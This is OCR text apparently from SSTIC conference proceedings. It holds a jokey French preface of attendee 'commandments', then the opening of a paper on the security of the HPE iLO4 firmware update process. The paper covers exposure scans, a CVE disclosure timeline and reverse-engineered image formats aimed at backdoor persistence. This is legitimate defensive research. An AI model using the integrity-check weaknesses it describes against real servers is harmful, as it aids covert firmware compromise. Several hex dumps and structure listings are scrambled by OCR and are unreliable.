Préface

Préambule de la préface

PRES plusieurs années d’errance en terre armoricaine, fuyant
I’obscurantisme des lutins de Brocéliande qui vouaient un
culte au minitel, en quéte d’un amphithéatre capable d’ac-
cueillir une foule d’adeptes grandissante, les fideles du SSTIC
ont enfin trouvé leur lieu de peéelerinage. Le doute n’est pas

permis, le couvent des Jacobins est ’amphithéatre promis.

Un aparté historique s’impose pour expliquer la force du symbole.

Fondé en 1369 par l'ordre des Précheurs (dits encore Dominicains, ou
Jacobins), le couvent des Jacobins est, dés son origine, un lieu de
pelerinage et de prédication. Au cours des siécles, le couvent est devenu
un centre d’étude dont le rayonnement intellectuel engendre de plus en
plus de vocations. Plusieurs Dominicains de Rennes se rendent célebres
pour la qualité de leurs recherches.

Le SSTIC perpétue donc une tradition séculaire de développement et
de partage des connaissances. Que sont en effet les orateurs du SSTIC
sinon des prédicateurs de la sécurité, qui parlent publiquement des choses
cyber aux non-croyants et qui enseignent aux croyants les préceptes de
la sécurité, au nom de la disponibilité, de I'intégrité et de la sainte confi-
dentialité ?

Coincidence troublante, le SSTIC entre au couvent tres exactement
16 ans apres sa genese. Les chiffres ne mentent pas. Il faut se rendre a
I’évidence, le temps est venu d’édicter...



Commanbement

U n’auras foi qu’en une seule conférence. Tu
te voueras entierement au SSTIC, pas seule- \

ment & moitié (autrement dit, tu ne sombre- § Y. //%

ras pas dans le mi-SSTIC-isme). Tu n’auras —

d’yeux que pour SSTIC et tu résisteras aux atours ‘7/’ .‘lL J, §
des autres conférences. Si toutefois tu faillis, saches - /// / / \\\\\\\\
qu’une participation a SSTIC suffit a expier tes /) \

fautes de 'année. C’est toujours bon a savoir.
Commanbement 11

U respecteras ton prochain, et
tout particulierement ta pro-
chaine. Toutes les études le
montrent, le domaine cyber ne fait

pas exception : la testostérone n’est pas

nécessaire a l’exercice des métiers de la
sécurité. Pour amener, autant que faire
se peut, un meilleur équilibre entre les
hommes et les femmes qui participent

a la conférence, le SSTIC se doit d’étre

exemplaire, et faire en sorte que la gent pour réussir en crypto. Je vous
S e . enseignerai la pratique. »

féminine se sente la bienvenue dans ce

milieu majoritairement masculin.

Exemple a ne pas suivre de
pélerin extrémement lourd.

Par ailleurs, le pelerinage du SSTIC est certes un moment de communion
avec la sécurité, mais c’est aussi un moment de convivialité. La convivia-
lité ne vaut que si elle est partagée par tou.te.s!. Tu feras donc preuve de
bienveillance envers autrui et autruite, en toute circonstance.

1. Tu t’abstiendras tout de méme d’employer ’écriture inclusive, que les membres
du CO considérent unanimement comme une hérésie orthographique, et qui donnerait
des boutons aux personnes souffrant de dyslexie, a celles qui écrivent des regexp, et a
Bernard Pivot.



Commandement I11

U te prosterneras devant les apotres du Concile de I'Ordre (CO)?
du SSTIC, et tu chanteras des louanges a leur passage. Tu peux
également leur offrir une biere si ta maitrise du gospel ou de la
chorale est limitée, ou si le canon n’évoque chez toi qu’'un godet.

Les apotres du SSTIC sont des étres
surnaturels, qui suscitent une fer-
veur spontanée chez quiconque a la
chance de les croiser. Et si ce n’est
pas spontané chez toi, fais semblant.
Leur miséricorde n’a d’égale que leur
science, qui est immense. On les dit
capables de miracles, comme de fac-
toriser de téte un module RSA de
4096 bits, les yeux bandés et les
mains attachées dans le dos. Toute-
fois, tu t’abstiendras de leur deman-
Apotre du CO, reconnaissable & sa der de le faire’ parce qu’ils ne sont

toge rouge, qui a un peu pris le pas la pour épater la galerie. Faut
melon.

pas déconner.
Commanbement TV

U soumettras l'objet de tes recherches a la sagacité austere des sages
du Concile des Papiers (CP)3, et tu en accepteras l'augure. Les
voix du CP ne sont pas impénétrables, elles sont juste difficiles a
remporter.

Les sages du CP ne sont pas des étres inquisiteurs totalement dénués de
coeur. D’aucuns les disent assoiffés du sang des impies qui blasphement en
prétendant « crypter avec du DES », ou préts a briiler vifs les mécréants
qui pensent que Spectre est un fantome. C’est faux.

Les sages du CP ne sont que les gardiens de 'orthodoxie des textes sacrés
du SSTIC. IIs sont la pour t’aider a donner le meilleur de toi-méme, pour
que tu t’éleves et atteignes le nirvana de ’article fondateur, clair, net et
précis. Tu feras donc preuve d’humilité et d’opinidtreté : si un sage du
CP te bashe la page gauche de ton article, tends-lui la page droite ’année
suivante.

2. Le Concile de I’Ordre est aussi appelé vulgairement Comité d’Organisation.
3. Le Concile des Papiers est aussi appelé vulgairement Comité de Programme.



Commandement 'V

U rédigeras tes articles en IXTEX, et tu t’abstiendras de modifier le
template fourni aux auteurs. Cela t’épargnera les foudres de frere
Olivier (dit « Le Vilain »), copiste en chef du SSTIC, esthete édi-
torial de renom, gardien dogmatique de la qualité des enluminures

des actes de la conférence.

Commandement VI

U feras preuve de prévenance a ’égard du développeur du produit
dont tu démontres les « faiblesses structurelles* » dans ton article.
Tu t’efforceras notamment de recueillir sa bénédiction avant de ré-
véler au monde tes trouvailles. Pas aprés. S’en préoccuper apres

augmente sensiblement le risque que le développeur se braque, boude, et

fasse une colere (des études le prouvent). Or les coleéres brouillent ’écoute
et ne sont pas propices a la méditation.

Commanbement VII

U revétiras la robe des pelerins toute ’année, en signe d’obédience au
SSTIC. Tu reviendras chaque année en pelerinage pour compléter
ta garde-robe, et te permettre ainsi de purifier plus fréquemment
tes hoodies en les emmenant chez le teinturier.

Commandement VIIT

U ne convoiteras pas le pic de foie-gras mi-cuit de ton prochain. Tu
feras méme preuve de patience et de courtoisie au stand ou le Pere
Angau les distribue. De méme, tu partageras les huitres avec les
autres pelerins, et tu feras preuve d’équité. La charité veut que tu

ne squattes pas la partie du stand ou se trouvent les petites huitres claires

n°4, pour ne laisser aux autres que les grosses laiteuses n°2.

Commandement IX

U ne renonceras jamais a participer physiquement au SSTIC, sous
prétexte de pouvoir profiter des exposés en 1080p depuis ton cana-
pé. Le SSTIC n’est pas un MOOC ; le SSTIC est une rencontre.
Essaie d’échanger des idées avec ton écran, et tu verras la diffé-

rence. Tu peux néanmoins rendre grace a Saint Pierre pour la diffusion

en mondovision des exposés.

4. On parle aussi de « pongage en régle ».



Commanbement X

U resteras digne en toute circonstance, au moins pendant les préches,
et ce méme si tu as abusé des bieres d’abbaye la veille. Tu résisteras
a la tentation de la biere de trop, celle qui te tire les cheveux a
I'office des matines et qui t’oblige a porter des lunettes de soleil

dans la pénombre de 'amphithéatre (ce qui ne trompe personne). Les
plus vertueux ne laisseront rien paraitre de leur fatigue, et se présenteront
frais et dispos au premier exposé du vendredi.

Pelerin qui perd peu a peu de sa dignité.
Commandement X1

U feras don de tous tes Bitcoins, Ethereums, Ripples et autres mon-
naies virtuelles a 'association STIC (n° SIREN 838 017 978). Les
Dominicains ont fait voeu de pauvreté en renongant a la possession
de biens matériels, en vue de se livrer entierement a leurs recherches.

En tant qu’association a but non lucratif, le SSTIC se doit de perpétuer

cet engagement, et le transpose aux biens immatériels. Sois rassuré, tes

efforts de minage ne seront pas vains. L’association saura utiliser la sueur
de tes machines a bon escient, et Frere Frédéric, économe de la confrérie

SSTIC, te sera éternellement reconnaissant.

Commanbement X1

U ne tueras point les cheminots. Certes, ils ont fait de ta venue
au SSTIC un chemin de croix. Certes, ils t’ont contraint a cétoyer
des heures durant des profanes sur la banquette arriere d’'une AX
break obtenue in extremsis sur www.roulezmalin.com. Certes, tu as

passé le voyage a leur expliquer comment déloger le virus qui sévit dans




le navigateur de leur beau-frere, depuis que ce dernier a découvert un site
« comme YouTube, mais spécialisé ». Certes. Mais ce n’est pas une raison.
De méme, tu ne jetteras pas la pierre aux organisateurs du congres de la
CFDT, qui ont pris soin de réserver le couvent des Jacobins la premiere
semaine de juin, empéchant ton pelerinage de se tenir a la date habituelle.

Dans sa grande mansuétude, le SSTIC t’autorise tout de méme a
nourrir un léger ressentiment a leur égard, si tel est ce que tu ressens.

Commandement XI1T

U ne déroberas point les solutions du challenge a ton prochain. Le
challenge est une épreuve que t’envoie le SSTIC. Tu y travailleras
tous les jours et tu feras tout ton ouvrage. Méme le dimanche. Et les
jours fériés. Et puis la nuit, si tu veux vraiment arriver le premier.

Commanbement XIV

U t’abstiendras de twitter des jeux de mots et des calembours déplo-
rables. Celui subrepticement inséré dans le texte du premier com-
mandement fait office d’étalon a jeu de mot foireux : ceux d’un
niveau inférieur ou égal sont & proscrire.

Commandement XV

U feras preuve de courtoisie et de civilité a I’égard des personnes
agées et des RSSI lors des inscriptions. En des temps obscurs ou les
places étaient rares, les hommes se battaient pour s’inscrire a SSTIC.
La billetterie était une arene dont seuls les plus rapides sortaient

vainqueurs. Alors, le SSTIC prit les places, les rompit, et les distribua a

ses disciples, en disant « Prenez et achetez-en tous. Maintenant qu’y’a

plein de places, arrétez de vous chamailler. ». Et tous furent rassasiés. A

tel point qu’il y eut des restes. Depuis, les pelerins vivent en harmonie et

peuvent s’inscrire en toute quiétude.

Commandement XVI

U feras preuve de suffisamment d’esprit et de discernement pour
savoir quels commandements sont sérieux.

Bon symposium,
Ben, pour le comité d’Organisation.
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Subverting your server through its BMC: the HPE
iL04 case

Fabien Périgaud!, Alexandre Gazet?, and Joffrey Czarny
fabien.perigaud@synacktiv.com
alexandre.gazet@airbus.com
snorky@insomnihack.net

! Synacktiv
2 Airbus

Abstract. iL0 is the server management solution embedded in almost
every HP server since more than 10 years. It provides the features required
by a system administrator to remotely manage a server without having
to physically reach it. iL04 (known to be used on the family of servers
HP ProLiant Gen8 and ProLiant Gen9) runs on a dedicated ARM micro-
processor embedded in the server, totally independent from the main
processor. We performed an initial deep dive security study of HP iL04 [6]
and covered the following topics:

— Firmware unpacking and memory layout

— Embedded OS internals

— Vulnerability discovery and exploitation

— Full compromise of the host server operating system through DMA
One of the main outcome of our study was the discovery of a critical
vulnerability in the web server component allowing an authentication
bypass but also a remote code execution [6,9]. Still, one question remains
open: are the iL0 systems resilient against a long term compromise at
firmware level? For this reason, we focus on the update mechanism and
how a motivated attacker can achieve long term persistence on the system.

1 Introduction

1.1 IPMI/BMC introduction

The Intelligent Platform Management Interface (IPMI) is a suite of com-
puter interface functions for an autonomous computer subsystem that
provides management and monitoring capabilities independently of the
host system’s CPU, firmware (BIOS or UEFI) and operating system.

IPMI defines a set of interfaces used by system administrators for
out-of-band management. For example, IPMI provides a way to manage a
computer that may be powered off or otherwise unresponsive by using a
network connection to the hardware rather than to an operating system
or login shell.



4 Subverting your server through its BMC

An IPMI sub-system consists of a main controller, called the Base-
board Management Controller (BMC) and other management controllers
distributed among different system modules. BMCs have been embedded in
most of HP servers for more than 10 years.

1.2 HP Integrated Lights-Out

Integrated Lights-0ut, or iL0, is a proprietary embedded server man-
agement technology by Hewlett-Packard which provides out-of-band man-
agement facilities. The physical connection is an Ethernet port that can
be found on most Proliant servers and microservers of the 300 and above
series.

iL0 has similar functionality to the Lights Out Management (LOM)
technology offered by other vendors such as Sun/Oracle’s LOM port, Dell
DRAC, IBM Remote Supervisor Adapter and Cisco CIMC.

iL0 provides remote administration features such as:

— Power Management

— Remote system console

— Remote CD/DVD image mounting
— Several monitoring indicators

On the hardware side, the iL0 chip is directly integrated on the server’s
motherboard (see figure 1). It is composed of:

— Dedicated ARM processor: GLP/Sabine architecture
— Dedicated RAM chip

— Firmware stored on a NAND flash chip

— Dedicated network interface

On the software side, iL0 provides various services for administrators
to interact with, such as a web server and a ssh server.

There is a full operating system running in your server as soon as it
has a connected power cord! As said before, iL0 runs even if the server is
turned off.

iL0 has a privileged (read/write) access to the server communication
buses. For example, it is directly connected to the PCI-Express bus (see
figure 2).
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2 Context

2.1 Previous work on iL0

As a pentester/red-teamer you definitely have met iL0 on your target
network. Unfortunately, this interface is too rarely protected and is fully
exposed. Some previous works have been done on this topic; researchers
have published two main vulnerabilities:

— IPMI Authentication Bypass via Cipher 0
— IPMI 2.0 RAKP Authentication Remote Password Hash Retrieval®

The first vulnerability allows remote attackers to bypass authentication
and execute arbitrary IPMI commands by using cipher suite 0. Indeed, this
cipher suite does not require the user to provide a password. This issue has
been fixed by HP in July 2013, see HP Customer Notice HPSN-2008-002%.

The second vulnerability is an issue in the IPMI 2.0 specification on
RMCP+ Authenticated Key-Exchange Protocol (RAKP) authentication. It
allows remote attackers to obtain password hashes from a RAKP message 2
response. The only prerequisite to this attack is the knowledge of valid
usernames. Then, the password cracking attack can be conducted offline.
This flaw is present “by design” in the protocol and thus can not be easily
fixed. HP has now disabled IPMI in the default configuration of iL05.

We strongly recommend the reader to refer to these previous paper-
s/publications:

— “IPMI: freight train to hell”, by Dan Farmer [3]
— “A Penetration Tester’s Guide to IPMI and BMCs” [5]

To our knowledge, at the time we performed our study (i.e. mostly
by the end of 2016, beginning of 2017), the IPMI 2.0 password hash
retrieval was the only known public vulnerability impacting up-to-date
iL04 systems.

2.2 Presence of iL04 on Internet

iL0 interface is usually exposed on the internal network, but also sometimes
on the Internet. Indeed, in some cases, hosting providers can offer an access
to reach the BMC systems in order to troubleshoot an issue if the connection
with the host is lost.

3 http://fish2.com/ipmi/remote-pw-cracking.html
4 https://support.hpe.com/hpsc/doc/public/display?docId=emr_na-c03844348
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A survey has been done in September 2017 and January 2018 on the
exposure of iL04. The simple scanner we developed has been released as
part of our ilo4_toolbox®. Versions 2.53, 2.54 and 2.55, marked with
an arrow, are versions where the vulnerability is fixed.

By performing a network scan on all public IPv4 addresses, around
3,604 iL0 interfaces version 4 are discovered exposed in September 2017:

3 Server:HP-iL0-4/1.30 UPnP/1.0 HP-iL0/1.0
1 Server:HP-ilL0-4/1.51 UPnP/1.0 HP-iL0/1.0
112 Server:HP-ilL0-4/2.00 UPnP/1.0 HP-iL0/1.0
140 Server :HP-ilL0-4/2.02 UPnP/1.0 HP-iL0/1.0
172 Server :HP-ilL0-4/2.03 UPnP/1.0 HP-iL0/1.0
230 Server:HP-ilL0-4/2.10 UPnP/1.0 HP-iL0/2.0
189 Server:HP-ilL0-4/2.20 UPnP/1.0 HP-iL0/2.0
29 Server:HP-ilL0-4/2.22 UPnP/1.0 HP-iL0/2.0
461 Server :HP-ilL0-4/2.30 UPnP/1.0 HP-iL0/2.0
4 Server :HP-ilL0-4/2.31 UPnP/1.0 HP-iL0/2.0
552 Server:HP-ilL0-4/2.40 UPnP/1.0 HP-iL0/2.0
14 Server:HP-ilL0-4/2.42 UPnP/1.0 HP-iL0/2.0
108 Server:HP-ilL0-4/2.44 UPnP/1.0 HP-iL0/2.0
1050 Server:HP-iL0-4/2.50 UPnP/1.0 HP-iL0/2.0
219 Server:HP-ilL0-4/2.53 UPnP/1.0 HP-iL0/2.0 <--
320 Server:HP-ilL0-4/2.54 UPnP/1.0 HP-iL0/2.0 <--

We performed the same scan in January 2018, around 3,788 iLO0
interfaces version 4 were discovered exposed:

86 Server:HP-ilL0-4/2.00 UPnP/1.0 HP-iL0/1.0
117 Server :HP-iL0-4/2.02 UPnP/1.0 HP-iL0/1.0
144 Server:HP-iL0-4/2.03 UPnP/1.0 HP-iL0/1.0
173 Server:HP-ilL0-4/2.10 UPnP/1.0 HP-iL0/2.0
169 Server:HP-ilL0-4/2.20 UPnP/1.0 HP-iL0/2.0
26 Server :HP-ilL0-4/2.22 UPnP/1.0 HP-iL0/2.0
297 Server :HP-iL0-4/2.30 UPnP/1.0 HP-iL0/2.0
2 Server:HP-ilL0-4/2.31 UPnP/1.0 HP-iL0/2.0
422 Server :HP-ilL0-4/2.40 UPnP/1.0 HP-iL0/2.0
9 Server:HP-iL0-4/2.42 UPnP/1.0 HP-iL0/2.0
83 Server:HP-ilL0-4/2.44 UPnP/1.0 HP-iL0/2.0
1020 Server:HP-ilL0-4/2.50 UPnP/1.0 HP-iL0/2.0
193 Server:HP-ilL0-4/2.53 UPnP/1.0 HP-iL0/2.0 <--
571 Server :HP-ilL0-4/2.54 UPnP/1.0 HP-iL0/2.0 <--
474 Server :HP-ilL0-4/2.55 UPnP/1.0 HP-iL0/2.0 <--

2.3 Our approach for the initial study

It is clear that iL0 is a critical technology. By design, it provides a full
remote management interface for HP servers. Moreover, known weaknesses
exist in the authentication protocol and few people actively monitor iL0
systems; we needed nothing more to dive into it. Our goals were to:

® https://github.com/airbus-seclab/ilo4_toolbox
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— Evaluate the trust we can put in the solution/product
— Better understand the technology and its internals
— Better understand the exposed surface/risk

One of the main outcome of our study was the discovery of a critical
vulnerability in the web server component (CVE-2017-12542 CVSSv3
base score 9.8), allowing an authentication bypass but also a remote
code execution. This vulnerability has been fixed in iL0 4 versions 2.53
and 2.54.

Exploitation of this vulnerability allows an attacker to fully compromise
a server and break the segmentation between the iL0 and the host. Indeed,
it has been demonstrated that it is possible to obtain the highest privileges
on the host from the iLO system. All the details have already been
published during ReCon Brussels in February 2018 [6].

The responsible disclosure timeline is provided as an indication to
readers with an eye for details. ..

— Feb 2017 - Vulnerability discovered

— Feb 27 2017 - Vulnerability reported to HP PSIRT by Airbus CERT

— Feb 28 2017 - HP acknowledges receiving the report

— May 5 2017 - HP releases iL0 4 2.53, silently fixing the vulnerability

— July 20 2017 - Airbus CERT contacts MITRE to request a CVE ID

— July 28 2017 - HP PSIRT tells Airbus CERT that they are planning
to release a security bulletin

— August 24 2017 - HP releases security bulletin HPESBHF03769%

— Feb 4 2018 - All details are presented during ReCon Brussels

2.4 A necessary supplement for this study

In order to answer to the first objective, namely “Evaluate the trust we
can put in the solution/product”, we also had to validate the security
measure implemented on the firmware update process and more specifically
the mechanisms set to validate the integrity of updates and their origin.
Fortunately, the previous study allowed us to identify several modules and
data structures involved in the process of firmware integrity verification
(a brief summary is provided in section 3.1).

Besides, there are very few mechanisms or tools to validate the presence
of a rootkit inside BMC systems. In case of a compromised system, people
usually change hard drives, but few people check for implants installed on
the hardware.

 https://support.hpe.com/hpsc/doc/public/display?docId=hpesbhf03769en_us
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Thus, this study is focused on the update process and how a new /back-
doored firmware can be installed and allow an attacker to be persistent in
an environment which has been compromised.

3 iL04 firmware integrity

3.1 Update process overview

In order to update an iL0O 4 firmware, the first step is usually to obtain
an update package from the vendor website. For a Windows based host,
it comes as an executable binary: CP030133. exe for iL0 4 version v2.44
for example. It should be noted that pingtool.org’ also provides a great
repository of archived firmware versions.

The following elements are based on the analysis of the update package
CP030133.exe (iLO 4 v2.44). This self-extracting/script based archive
is quickly dissected and contains the following content:

total 17M
“TrWXTr —-Xr-X
“TrWXTr —-Xr-X
“TrWXr —Xr-X
-rWXr —-Xr-X

user None 198K Jul 21 2016 CP030133.xmlx*
user None 490K Apr 1 2016 flash_ilo4x*
user None 17M Jul 21 2016 ilo4_244 .binx*
user None 9.9K Jul 21 2016 Readme.txt*

= e

The relevant files are:

— flash_ilo4: flashing tool, x86 code
— ilo4_244 .bin: the actual firmware, concatenation of:
e the HP Signed File header

--=</Begin HP Signed File Fingerprint\>=--

Fingerprint Length: 000527

Key: label _HPBBatch

Hash: sha256

Signature: WtLLCUv/ergBGLM6fULxgUUvffHNPNblf5KQFUYOBKxYznzepQggzhF/UsulU2z1rd0OD
+KHOYNOOdkycgVDKjilkD1inCgPrfL0yjZLI22A0NZOuEle3uW+Gvkj3s178Zt1RJizAYLXU/VvAG47G
OR1MjKmB8cab5tzJKxuRi1AxtRcfU7DaVtHPTPZ7ro5QL+JH7 /EeBIZbi79CsHTg0kVdiPNaV1lQleYb
uKjLwHptuTmOAmpvPnZ6oQi8FDmtHSeEIY4nCB1l7GwBTYMYVUMwDcI8HQypuwnaOdAeUy4z2/xYcIu
kbwlZNREDt4QPHZzCP52c1JIRhtwsjdD2SUwj3jGA== Fingerprint Length: 000527
--=</End HP Signed File Fingerprint\>=--

e three certificates from HP
e the HPIMAGE blob

From there, an iL0 administrator can update the firmware by either:

— Running the binary flash_ilo4 on the host (x86-based) system. Its
purpose is to “flash” the binary image ilo4_244.bin by sending it to
the iL0 though a shared-memory communication channel.

" http://pingtool.org/latest—hp-ilo-firmwares/
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— Using the web server to directly upload the ilo4_244.bin file, as seen
in figure 3.

iLO4

ProLiant MicroServer Gens

Firmware Update
Firmware Information

Type Date Version
io Sep 232016 250

Firmware Update
iLO Firmware

Location DIscovery SENVICeS  Obtain the firmware Image (.bin) file from the Online ROM Flash Component for HPE ILO 4.

Firmware Update | x |

> Virual Media Uploading Firmware Image, please wait ...

+ The latest component can be downloaded from hip:/Www.npe.com/Supportilos
> ILO Federation « This component s also avallable on the HPE Service Pack.

> Remote Console Server Firmware

N e —r ‘The following types of server f i also be updated from this page: - ‘

> Network

15% Receiving Image...

> Remote Support

~ Administration Server 0 be obtained For . please see the help fl.

Firmware

Fig. 3. Firmware update through the web server

In both cases, the firmware file will finally be handled by a userland
task of the iL0 system called fum. iL04 systems rely upon the Integrity
operating system developed by Green Hills Software®. In this context, a
task is a userland process, with its own set of threads and virtual memory
mappings. For example, the web server and the SSH server each run in a
separated task.

When the fum task receives the firmware file, it looks for the HP Signed
File header containing the signature and hash algorithm; then it checks
its validity using its own embedded RSA public key:

————— BEGIN RSA PUBLIC KEY-----
MIIBCgKCAQEAteyCedpzasCIZeLkygK/GsUB29BY6wROzcw/N5M/PitwnkNLn/yb
i7FKQIfoH7wRLZPSLWUORRKRy50vfRwiw+6ezxlgjp/IvM75mI56KoanlyRw04FZ
mjfHKndMTCMaozBLUpIgfCr33NsAI4EcIG/edp7fgzUMr/T4xEO1yHxzCi0q70HP
BjuQ+CKrwbCPfvx0EA3vw+/fQqO0f5RhZ+ihAKZyzcAzLVWOSI4gEvzmOL3uUolmM
1X/QAAWPASfJfkGQAARS+I8pyb/sz9eaXb+JB/ukuGffwzPuqyKGcGilNIKsFKF4
8+QBYCutnDOFy7uekLLb9GUuKjWiDe8DOwWIDAQAB

————— END RSA PUBLIC KEY-----

If the signature is correct, the userland and kernel parts of the firmware
are written on the flash. Depending on a physical switch on the server,
the bootloader will also be written. This physical switch is only checked
in software and does not prevent from writing to a specific zone of the
flash. After the flashing operation has completed, the iL0 reboots.

® https://www.ghs.com/products/rtos/integrity.html
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During the boot chain, each component of the firmware is checked by
its parent:

— the bootloader checks the kernel signature
— the kernel checks the userland signature

However, the signature of the bootloader is not checked at boot time.
For now let’s consider the signature is correct, we can then proceed to the
HPIMAGE blob.

3.2 HPIMAGE blob

The binary HPIMAGE binary blob is the actual data that is written on the
NAND flash chip. Let’s start dissecting the HPIMAGE, starting with the blob
header:

0ffset(h) 00 01 02 03 04 05 06 07 08 09 OA OB 0C OD OE OF

00000000 48 50 49 4D 41 47 45 00 01 01 00 00 9D 7B 31 2F HPIMAGE...... {1/
00000010 E3 C9 76 4D BF F6 B9 DO DO 85 A9 52 01 00 00 00 ................
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030 00 00 00 00 00 00 00 00 00 00 00 00 EO O7 07 13 ...............
00000040 32 2E 34 34 00 00 00 00 00 00O 00 00O 00O 00 00 00 2.44............
00000050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060 69 4C 4F 20 34 00 00 00 00 00O OO0 00 OO 00 OO 00 4iLO 4...........
Loool

00000490 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 OO0 ................
000004A0 01 00 00 00 29 32 EC AE CC 69 D8 43 BD OE 61 DC ................
000004BO 34 06 F7 1B 00 00 00 00 & oo0o0000

Listing 1. Dump of an HPIMAGE header

The key elements are:

— Magic: HPIMAGE

— Size: 0x4B8

— Version (2.44) and two GUIDs

— Size of mapped firmware without header: 0x1000000 bytes

The two GUIDs (in red on listing 1) are interesting with regards to
the update process. Their semantics can be understood by reversing the
fum task binary (see the Python definition of the FlashEntry structure
presented on listing 2). Indeed they respectively indicate the update type
and target device type (see listing 3 and 4). For this file, they correspond to
an iL0 4 Firmware type, dedicated to an iL0 4 hardware, as expected.

The HPIMAGE format can be used to package many different up-
date types such as: iL0 4 Firmware, System ROM, CPLD-JTAG, Language
Pack, etc. One can note that the minimum version field is always set to
zero, thus it is possible to downgrade firmware.

Finally, looking at the end of the file, one can also found a footer (see
figure 5).
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class FlashEntry(LittleEndianStructure) :
_fields_ = [

("name_ptr", c_uint32),
("unknown", c_uint32),
("guid", c_bytex0x10),
("type", c_uint32),
"min_ver", c_byte),
("field_1D", c_byte),
("field 1E", c_byte),
("field_1F", c_byte),
("field 20", c_uint32),
("field_24", c_uint32),
("field_28", c_uint32),
("field_2C", c_uint32),
("field_30", c_uint32),
("field_ 34", c_uint32),
("field_38", c_uint32)

Listing 2. FlashEntry structure

> parsing flash types:
iL0 4 Firmware - guid 9d7b312fe3c9764dbff6b9d0d085a952 - type 0x01 - min ver 0x0
System ROM - guid 2e8d14aal096e3e45bc6f63baabf5cccd - type 0x05 - min ver 0x0
Custom ROM - guid 916b239911c283429ca97423f25687f3 - type 0x06 - min ver 0x0
CPLD-JTAG - guid 9a243adb1d19dc141a4962da9313f1f07 - type 0x07 - min ver 0x0
Carbondale - guid 3bad180a84cb0c479050cafb33371a14 - type 0x08 - min ver 0x0
PIC - guid 90aab533689703a45899c792827a50d67 - type 0x0a - min ver 0x0
EEPROM I2C - guid dffc32e2cbbc5347a99bf6b11c6eb074 - type 0xOb - min ver 0x0
Files - guid 18077fda4c441c49b9bfbb5a9cccbe6e8 - type 0x0c - min ver 0x0
Language Pack - guid 0c4c1027c53a91498afbd1£f3cd166fb4 - type 0x0d - min ver 0x0
iL0 (Moonshot) - guid a8d1685fab9795408c68bc3e1125268b - type 0x01 - min ver 0x0
CPLD (Moonshot) - guid 8384790bfcabcc4c914e26c4fb948cff - type 0x07 - min ver 0x0

Listing 3. List of supported HPIMAGE update types

> parsing device types:
iL0 4 - flags 0x008 - guid 2932ecaecc69d843bd0e61dc3406f71b - min ver 0xO0
Server ID - flags 0x001 - guid 0000000000000000000000000000ffff - min ver 0xO0
BIOS - flags 0x002 - guid 00000000000000000000000001ffffff - min ver 0x0
BootBlock 0 - flags 0x080 - guid 00000000000000000000000001ffffff - min ver 0xO0
BootBlock 1 - flags 0x100 - guid 00000000000000000000000001£ffffff - min ver 0x0
Carbondale - flags 0x004 - guid 0000000000000000000000000000cdff - min ver 0x0
Power PIC - flags 0x010 - guid 00000000000000000000000000504dff - min ver 0x0
NMVe BP PIC - flags 0x200 - guid 000000000000000000000000ffffffff - min ver 0x0
OEM Data - flags 0x040 - guid 4cb0£f50e84b9984295f04b3fffffffff - min ver 0x0
PS1 - flags 0x020 - guid ffffffffffff000000000cf38db966ea - min ver 0x0
PS2 - flags 0x020 - guid ffffffffff£f£000000000cf38db966ea - min ver 0x0
PS3 - flags 0x020 - guid ffffffffffff000000000cf38db966ea - min ver 0x0
PS4 - flags 0x020 - guid fffffffff£f££000000000cf38db966ea - min ver 0x0

Listing 4. List of supported HPIMAGE update targets

0ffset(h) 00 01 02 03 04 05 06 07 08 09 OA OB 0C OD OE OF

OOFFFFCO 76 20 30 2E 31 2E 37 39 2B 20 32 35 2D 4A 75 6E v 0.1.79+ 25-Jun
OOFFFFDO 2D 32 30 31 35 00 FF FF FF FF FF FF FF FF FF FF -2015...........
OOFFFFEO FF FF FF FF 00 00 01 00 00 00 00 00 00 00 00 00 ................
OOFFFFFO 6B 09 7C 77 B3 00 00 2B BC FB 00 00 69 4C 4F 34 ............ iL04

Listing 5. Dump of an HPIMAGE footer
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The key elements of the footer are:

— a “mirrored” blob header: iL04 magic at the end (0x40-byte long)

— OxFBBC: negative offset from the end of the file (0x444)

— This offset points to the cryptographic parameters, 0x404-byte
long. The Python definition of the SignatureParams structure is pre-
sented in the following listing:

_fields_ = [
("sig_size",
("modulus",
("exponent",

c_uint),
c_byte * 0x200),
c_byte * 0x200)

class SignatureParams(LittleEndianStructure):

The cryptographic parameters we just discovered are a key element of
the integrity verification process. Let’s see how they are used.

3.3 Module integrity check

0x10000 bytes from the end of the file, one can find the HPIMAGE bootstrap

code or bootloader (here in blue):

Offset(h) 00 01 02 03 04 05 06 07

OOFEFFEO
OOFEFFFO
O0FF0000

O0FF0010
00FF0020

FF
FF
09
E7
7C

FF
FF
00
03
OE

FF
BB
00
00
FF

FF
1
EA
EA
FF

FF
FF
7C
FE
A8

FF
FF
03
FF
02

FF
BB
00
FF
17

FF
BB
EA
EA
FF

08

FF
FF
E1l
66
10

09

FF
FF
07
03
80

0A

B
B
00
00
00

0B
FF
1
EA

DO

ocC
1y
19
D5

68

0D
FF
FF
03

07

OE
FF
FF
00

00

This is ARM code! More precisely it is an ARM bootloader.

When the iL0 system boots up, this bootloader is responsible for
loading (and integrity checking) modules (or sub-images) from the HPIMAGE
blob. They are concatenated to the HPIMAGE header as a set of IMG_HEADER:

Offset (h) 01 02 03 04 05 06 07

00000000
00000010
00000020
00000030
00000040
[...]

20
2D
F8
BB
E9

Key elements:

— iL04 magic (in red)
— Version string (in blue)

08

09

34
1A
5F
00
D6

0A

0B

ocC

37
FF
EO
19
85

— Images are signed (RSA signature)

0D

OE

OF

39
FF

iL04 v 2.44.7 19
-Jul-2016
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— Three images for this firmware (kernel main, kernel recovery, userland)
— Possibly compressed (LZ-like algorithm found in the bootstrap code)

Once reversed, the IMG_HEADER structure can be defined using the
ImgHeader Python class:

class ImgHeader (LittleEndianStructure):

_fields_ = [

("il0_magic",
("build_version",

("type” s

("field_24",
("field_28",

("decompressed_size",

"raw_size",

("load_address",
("signature",
c_byte * 0x200)

("padding",

c_byte * 4),
c_char * 0x1C),

c_ushort),
("compression_type",

c_ushort),
c_uint),

c_uint),

c_uint),
c_uint),

c_uint),
c_byte * 0x200),

The following listing presents the formatted output of the extraction
tool for an example of ImgHeader structure:

[+] iL0 Header O0: iL04 v 2.44.7 19-Jul-2016

> magic : iL04

> build_version : v 2.44.7 19-Jul-2016

> type : 0x08

> compression_type : 0x1000

> field_24 : Oxaf8

> field_28 : 0x105£57

> decompressed_size : 0x16802e0

> raw_size : 0xdOead3

> load_address : Oxffffffff

> field_38 : 0x0

> field_3C : Oxffffffff

> signature
